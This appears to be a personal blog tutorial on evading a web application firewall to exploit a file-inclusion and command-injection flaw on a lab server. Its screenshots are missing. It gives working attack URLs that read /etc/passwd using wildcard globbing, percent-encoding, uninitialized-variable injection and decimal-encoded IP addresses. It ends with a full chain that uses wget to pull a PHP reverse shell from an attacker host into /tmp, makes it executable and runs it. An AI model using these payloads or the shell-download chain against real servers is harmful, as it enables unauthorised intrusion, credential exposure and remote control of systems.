WAF Bypass

I'm playing around the other day and I find what looks to be a server which is vulnerable to Local File Inclusion (LFI).  I used to work for a company a long time ago and when something would break, I would declare:  "Bad code".  LFI is bad coding or perhaps I should say that it's a short sighted developer who doesn't anticipate the harm that can be caused by calling a file directly with something like:  http://example.com/index.php?file=SOMEFILENAME

Seems harmless enough until someone comes along and decides to change the url to:  http://example.com/index.php?file=/etc/passwd 

Now all of the sudden -- it doesn't seem all that harmless.  So that pretty much gets you up to speed and I assume that if you were searching for WAF Bypass, you already know this and probably more.  So as I said, I'm playing around and I discover:





And I'm all like... giddy up!  Let's go for /etc/passwd:




Which to me is the equivalent of:





And so I step back and I want to make sure I think I have what I have:





That works so this is definitely LFI.  I try another command, ls:





Ok, so there's some filtering going on. 

Nmap has a script that detects the presence of a WAF:

nmap -p80 --script http-waf-detect http://192.168.86.246

But I've not had much luck with it.  However, I have had good success with wafw00f:

 




So there you have it. 

There's a mechanism in place that's defending the web server using a set of generic rules.  For example, we ask for /etc/passwd:





And the rules deny that action because /etc/passwd is in a rule somewhere. 

Google "ModSecurity Core Rule Set", you will be enlightened.  

The first time I saw this trick, it was used for SQL injection:




I know you're not as easily impressed as I am but the first time I saw this trick, I was probably not dissimilar to a caveman seeing fire for the first time.

This trickery with question marks is called "globbing patterns" which specify sets of filenames with wildcard characters.  Think of:  ls *.php except that we're using question marks instead of asterisks.  This doesn't exist just in the browser, it's origination is in the file system:




The trick here is to make sure the only match is what you're seeking.  For example, you wouldn't be able to call /tmp with:  ls -al /??? because /etc (among others) is also three characters in length.  But you could call:

/e??
/??c
/?t?

What you have now is enough to do some damage with this specific server but let's take a look at some other bypass techniques that aren't limited to WAFs.

How about percent encoding mixed with globbing patterns:




Let's see if we can reach out externally with wget:





With our handler setup:





Excellent!

Another trick --

Typically when we see IP addresses, we see them in this format:  xxx.xxx.xxx.xxx or with a real world example:  192.168.0.10

But we can convert IP addresses into long decimal format and they work just the same.  

Below, I convert my IP address to long decimal format and then I ping the address:




It responds like you would expect. 

With the same wget example but using the long decimal format:





With our handler setup:






Excellent, again!

This back and forth between calling command by full path, or not full path, or with globbing is becoming tedious.  Another technique we can use involves the following:

;<space><uninitialized var><command>

For example:

www.google.com;+$u+cat+/e?c/p?sswd

We are providing a value for file= and following that is what we see above.  The $u is the uninitialized variable and following that we can execute commands as long as there isn't a rule that specifically triggers on what we're asking -- like /etc/passwd.





Each situation is unique and it takes a bit of trial and error.  For this specific server, here's a few tweaks for enumeration and then the path to getting a shell.

A couple of methods for reading /etc/passwd:

http://192.168.86.246/test.php?file=/e?c/?asswd
http://192.168.86.246/test.php?file=%2fe?c%2f?asswd

A couple of methods for testing outbound connectivity:

http://192.168.86.246/test.php?file=|/u?r/b?n/w?et%20192.168.86.99:443
http://192.168.86.246/test.php?file=|/u?r/b?n/w?et%203232257635:443

We download a shell in .txt file format because you can shell your box otherwise.  We're saving the file in /tmp:

http://192.168.86.246/test.php?file=|/u?r/b?n/w?et%20-O%20/tmp/rshell443.php%20192.168.86.99:8085/rshell443.txt

We then perform an ls of /tmp:

http://192.168.86.246/test.php?file=www.google.com;+$u+ls+-al%20/t?p

We see that our file exists, we give it executable permissions:

http://192.168.86.246/test.php?file=www.google.com;+$u+chmod+777+/t?p/rshell443.php

We execute our shell:

http://192.168.86.246/test.php?file=www.google.com;+$u+php+/t?p/rshell443.php

And that's it, we're on this box.  Boxes may vary, void where prohibited, offer not valid to family members and/or those living in the same household.

All kidding aside, the globbing trick is one of the cooler things I've seen.  I honestly don't know how long it's been around but it wasn't that long ago that I first learned of it and most people seemed to be blown away by how easy it is to work around mechanisms that would typically prevent attacks.  

I hope this helps you as much as it did for me.